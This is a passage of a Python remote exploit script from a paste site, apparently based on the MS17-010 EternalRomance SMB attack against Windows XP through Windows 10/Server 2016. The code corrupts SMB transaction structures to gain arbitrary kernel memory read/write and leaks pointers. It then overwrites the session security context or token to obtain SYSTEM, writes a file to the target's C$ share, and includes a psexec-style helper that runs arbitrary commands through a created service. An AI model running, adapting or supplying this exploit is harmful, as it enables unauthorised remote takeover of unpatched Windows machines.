  628. HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
  629. NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
  630.  
  631. # Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
  632. conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
  633. wait_for_request_processed(conn)
  634.  
  635. # if the overwritten is correct, a modified transaction mid should be special_mid now.
  636. # a new transaction with special_mid should be error.
  637. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
  638. if recvPkt.getNTStatus() == 0x10002: # invalid SMB
  639. print('success controlling one transaction')
  640. success = True
  641. if 'arch' not in info:
  642. print('Target is '+tinfo['ARCH'])
  643. info['arch'] = tinfo['ARCH']
  644. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  645. break
  646. if recvPkt.getNTStatus() != 0:
  647. print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
  648.  
  649. if not success:
  650. print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
  651. print('!!! Write to wrong place !!!')
  652. print('the target might be crashed')
  653. return False
  654.  
  655.  
  656. # NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
  657. # This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
  658. # because of this unfreed memory chunk. I will avoid it.
  659.  
  660. # From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
  661. # transactions (do not know the address).
  662. # After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
  663. # To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
  664. # To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
  665. # On 32 bit target, we can write to any address if parameter count is 0xffffffff.
  666. # On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
  667. # are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
  668. # we also modify HIDWORD of InParameter to 0xffffffff.
  669.  
  670. print('modify parameter count to 0xffffffff to be able to write backward')
  671. conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
  672. # on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
  673. if info['arch'] == 'x64':
  674. conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
  675. wait_for_request_processed(conn)
  676.  
  677. TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
  678. PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
  679. PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
  680.  
  681. # modify paramterCount of first transaction
  682. conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
  683. if info['arch'] == 'x64':
  684. conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
  685. # restore trans2.InParameters pointer before leaking next transaction
  686. conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
  687. wait_for_request_processed(conn)
  688.  
  689. # ================================
  690. # leak transaction
  691. # ================================
  692. print('leak next transaction')
  693. # modify TRANSACTION member to leak info
  694. # function=5 (NT_TRANS_RENAME)
  695. conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
  696. # parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
  697. conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
  698.  
  699. conn.send_nt_trans_secondary(mid=special_mid)
  700. leakData = conn.recv_transaction_data(special_mid, 0x100)
  701. leakData = leakData[4:] # remove param
  702. #open('leak.dat', 'wb').write(leakData)
  703.  
  704. # check heap chunk size value in leak data
  705. if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
  706. print('chunk size is wrong')
  707. return False
  708.  
  709. # extract leak transaction data and make next transaction to be trans2
  710. leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
  711. leakTrans = leakData[leakTranOffset:]
  712. fmt = info['PTR_FMT']
  713. _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
  714. inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
  715. trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
  716.  
  717. print('CONNECTION: 0x{:x}'.format(connection_addr))
  718. print('SESSION: 0x{:x}'.format(session_addr))
  719. print('FLINK: 0x{:x}'.format(flink_value))
  720. print('InData: 0x{:x}'.format(indata_value))
  721. print('MID: 0x{:x}'.format(trans2_mid))
  722.  
  723. trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
  724. trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
  725. print('TRANS1: 0x{:x}'.format(trans1_addr))
  726. print('TRANS2: 0x{:x}'.format(trans2_addr))
  727.  
  728. # ================================
  729. # modify trans struct to be used for arbitrary read/write
  730. # ================================
  731. print('modify transaction struct for arbitrary read/write')
  732. # modify
  733. # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
  734. # - trans1.InData to &trans2. so we can modify trans2 with trans1 data
  735. # Note: HIDWORD of trans1.InParameter is still 0xffffffff
  736. TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
  737. conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
  738. wait_for_request_processed(conn)
  739.  
  740. # modify trans1.mid
  741. trans1_mid = conn.next_mid()
  742. conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
  743. wait_for_request_processed(conn)
  744.  
  745. info.update({
  746. 'connection': connection_addr,
  747. 'session': session_addr,
  748. 'trans1_mid': trans1_mid,
  749. 'trans1_addr': trans1_addr,
  750. 'trans2_mid': trans2_mid,
  751. 'trans2_addr': trans2_addr,
  752. })
  753. return True
  754.  
  755. def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
  756. SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
  757. SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
  758. SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
  759. SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
  760. # SID_SYSTEM and SID_ADMINISTRATORS must be added
  761. sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
  762. # - user has no attribute (0)
  763. # - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
  764. # - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
  765. attrs = [ 0, 0xe, 7, 7 ]
  766.  
  767. # assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
  768. # fake user and groups will be in same buffer of original one
  769. # so fake sids size must NOT be bigger than the original sids
  770. fakeUserAndGroupCount = min(userAndGroupCount, 4)
  771. fakeUserAndGroupsAddr = userAndGroupsAddr
  772.  
  773. addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
  774. fakeUserAndGroups = ''
  775. for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
  776. fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
  777. addr += len(sid)
  778. fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
  779.  
  780. return fakeUserAndGroupCount, fakeUserAndGroups
  781.  
  782.  
  783. def exploit(target, pipe_name):
  784. conn = MYSMB(target)
  785.  
  786. # set NODELAY to make exploit much faster
  787. conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
  788.  
  789. info = {}
  790.  
  791. conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
  792. server_os = conn.get_server_os()
  793. print('Target OS: '+server_os)
  794. if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
  795. info['os'] = 'WIN7'
  796. info['method'] = exploit_matched_pairs
  797. elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
  798. info['os'] = 'WIN8'
  799. info['method'] = exploit_matched_pairs
  800. elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
  801. info['os'] = 'WIN7'
  802. info['method'] = exploit_fish_barrel
  803. elif server_os.startswith("Windows Server 2003 "):
  804. info['os'] = 'WIN2K3'
  805. info['method'] = exploit_fish_barrel
  806. elif server_os.startswith("Windows 5.1"):
  807. info['os'] = 'WINXP'
  808. info['arch'] = 'x86'
  809. info['method'] = exploit_fish_barrel
  810. elif server_os.startswith("Windows XP "):
  811. info['os'] = 'WINXP'
  812. info['arch'] = 'x64'
  813. info['method'] = exploit_fish_barrel
  814. elif server_os.startswith("Windows 5.0"):
  815. info['os'] = 'WIN2K'
  816. info['arch'] = 'x86'
  817. info['method'] = exploit_fish_barrel
  818. else:
  819. print('This exploit does not support this target')
  820. sys.exit()
  821.  
  822. if pipe_name is None:
  823. pipe_name = find_named_pipe(conn)
  824. if pipe_name is None:
  825. print('Not found accessible named pipe')
  826. return False
  827. print('Using named pipe: '+pipe_name)
  828.  
  829. if not info['method'](conn, pipe_name, info):
  830. return False
  831.  
  832. # Now, read_data() and write_data() can be used for arbitrary read and write.
  833. # ================================
  834. # Modify this SMB session to be SYSTEM
  835. # ================================
  836. fmt = info['PTR_FMT']
  837.  
  838. print('make this SMB session to be SYSTEM')
  839. # IsNullSession = 0, IsAdmin = 1
  840. write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
  841.  
  842. # read session struct to get SecurityContext address
  843. sessionData = read_data(conn, info, info['session'], 0x100)
  844. secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
  845.  
  846. if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
  847. # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
  848. # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
  849. # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
  850.  
  851. # find the token and modify it
  852. if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
  853. pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
  854. pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
  855. else:
  856. pctxtDataAddr = secCtxAddr
  857.  
  858. tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
  859. tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
  860. print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
  861.  
  862. # copy Token data for restoration
  863. tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
  864.  
  865. # parse necessary data out of token
  866. userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
  867.  
  868. print('overwriting token UserAndGroups')
  869. # modify UserAndGroups info
  870. fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
  871. if fakeUserAndGroupCount != userAndGroupCount:
  872. write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
  873. write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
  874. else:
  875. # the target can use PsImperonateClient for impersonation (Windows 2008 and later)
  876. # copy SecurityContext for restoration
  877. secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
  878.  
  879. print('overwriting session security context')
  880. # see FAKE_SECCTX detail at top of the file
  881. write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
  882.  
  883. # ================================
  884. # do whatever we want as SYSTEM over this SMB connection
  885. # ================================
  886. try:
  887. smb_pwn(conn, info['arch'])
  888. except:
  889. pass
  890.  
  891. # restore SecurityContext/Token
  892. if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
  893. userAndGroupsOffset = userAndGroupsAddr - tokenAddr
  894. write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
  895. if fakeUserAndGroupCount != userAndGroupCount:
  896. write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
  897. else:
  898. write_data(conn, info, secCtxAddr, secCtxData)
  899.  
  900. conn.disconnect_tree(conn.get_tid())
  901. conn.logoff()
  902. conn.get_socket().close()
  903. return True
  904.  
  905. def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
  906. # struct _TOKEN:
  907. # ...
  908. # ULONG UserAndGroupCount; // Ro: 4-Bytes
  909. # ULONG RestrictedSidCount; // Ro: 4-Bytes
  910. # ...
  911. # PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
  912. # PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
  913. # ...
  914.  
  915. userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
  916. userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)
  917.  
  918. # RestrictedSidCount MUST be 0
  919. # RestrictedSids MUST be NULL
  920. #
  921. # userandGroupCount must NOT be 0
  922. # userandGroupsAddr must NOT be NULL
  923. #
  924. # Could also add a failure point here if userAndGroupCount >= x
  925.  
  926. success = True
  927.  
  928. if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
  929. print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
  930. print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
  931. print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
  932. success = False
  933.  
  934. print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
  935. print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
  936.  
  937. return success, userAndGroupCount, userAndGroupsAddr
  938.  
  939. def get_group_data_from_token(info, tokenData):
  940. userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
  941. userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
  942.  
  943. # try with default offsets
  944. success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
  945.  
  946. # hack to fix XP SP0 and SP1
  947. # I will avoid over-engineering a more elegant solution and leave this as a hack,
  948. # since XP SP0 and SP1 is the only edge case in a LOT of testing!
  949. if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
  950. print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
  951.  
  952. userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
  953. userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
  954.  
  955. # try with hack offsets
  956. success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
  957.  
  958. # still no good. Abort because something is wrong
  959. if not success:
  960. print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
  961. sys.exit()
  962.  
  963. # token parsed and validated
  964. return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset
  965.  
  966. def smb_pwn(conn, arch):
  967. smbConn = conn.get_smbconnection()
  968.  
  969. print('creating file c:\\pwned.txt on the target')
  970. tid2 = smbConn.connectTree('C$')
  971. fid2 = smbConn.createFile(tid2, '/pwned.txt')
  972. smbConn.closeFile(tid2, fid2)
  973. smbConn.disconnectTree(tid2)
  974.  
  975. #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
  976. #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
  977. # Note: there are many methods to get shell over SMB admin session
  978. # a simple method to get shell (but easily to be detected by AV) is
  979. # executing binary generated by "msfvenom -f exe-service ..."
  980.  
  981. def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
  982. with open(localSrc, 'rb') as fp:
  983. smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
  984.  
  985. # based on impacket/examples/serviceinstall.py
  986. # Note: using Windows Service to execute command same as how psexec works
  987. def service_exec(conn, cmd):
  988. import random
  989. import string
  990. from impacket.dcerpc.v5 import transport, srvs, scmr
  991.  
  992. service_name = ''.join([random.choice(string.letters) for i in range(4)])
  993.  
  994. # Setup up a DCE SMBTransport with the connection already in place
  995. rpcsvc = conn.get_dce_rpc('svcctl')
  996. rpcsvc.connect()
  997. rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
  998. svcHandle = None
  999. try:
  1000. print("Opening SVCManager on %s....." % conn.get_remote_host())
  1001. resp = scmr.hROpenSCManagerW(rpcsvc)
  1002. svcHandle = resp['lpScHandle']
  1003.  
  1004. # First we try to open the service in case it exists. If it does, we remove it.
  1005. try:
  1006. resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
  1007. except Exception as e:
  1008. if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
  1009. raise e # Unexpected error
  1010. else:
  1011. # It exists, remove it
  1012. scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
  1013. scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
  1014.  
  1015. print('Creating service %s.....' % service_name)
  1016. resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
  1017. serviceHandle = resp['lpServiceHandle']
  1018.  
  1019. if serviceHandle:
  1020. # Start service
  1021. try:
  1022. print('Starting service %s.....' % service_name)
  1023. scmr.hRStartServiceW(rpcsvc, serviceHandle)
  1024. # is it really need to stop?
  1025. # using command line always makes starting service fail because SetServiceStatus() does not get called
  1026. #print('Stoping service %s.....' % service_name)
  1027. #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
  1028. except Exception as e:
  1029. print(str(e))
  1030.  
  1031. print('Removing service %s.....' % service_name)
  1032. scmr.hRDeleteService(rpcsvc, serviceHandle)
  1033. scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
  1034. except Exception as e:
  1035. print("ServiceExec Error on: %s" % conn.get_remote_host())
  1036. print(str(e))
  1037. finally:
  1038. if svcHandle:
  1039. scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
  1040.  
  1041. rpcsvc.disconnect()
  1042.  
  1043.  
  1044. if len(sys.argv) < 2:
  1045. print("{} <ip> [pipe_name]".format(sys.argv[0]))
  1046. sys.exit(1)
  1047.  
  1048. target = sys.argv[1]
  1049. pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
  1050.  
  1051. exploit(target, pipe_name)
  1052. print('Done')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement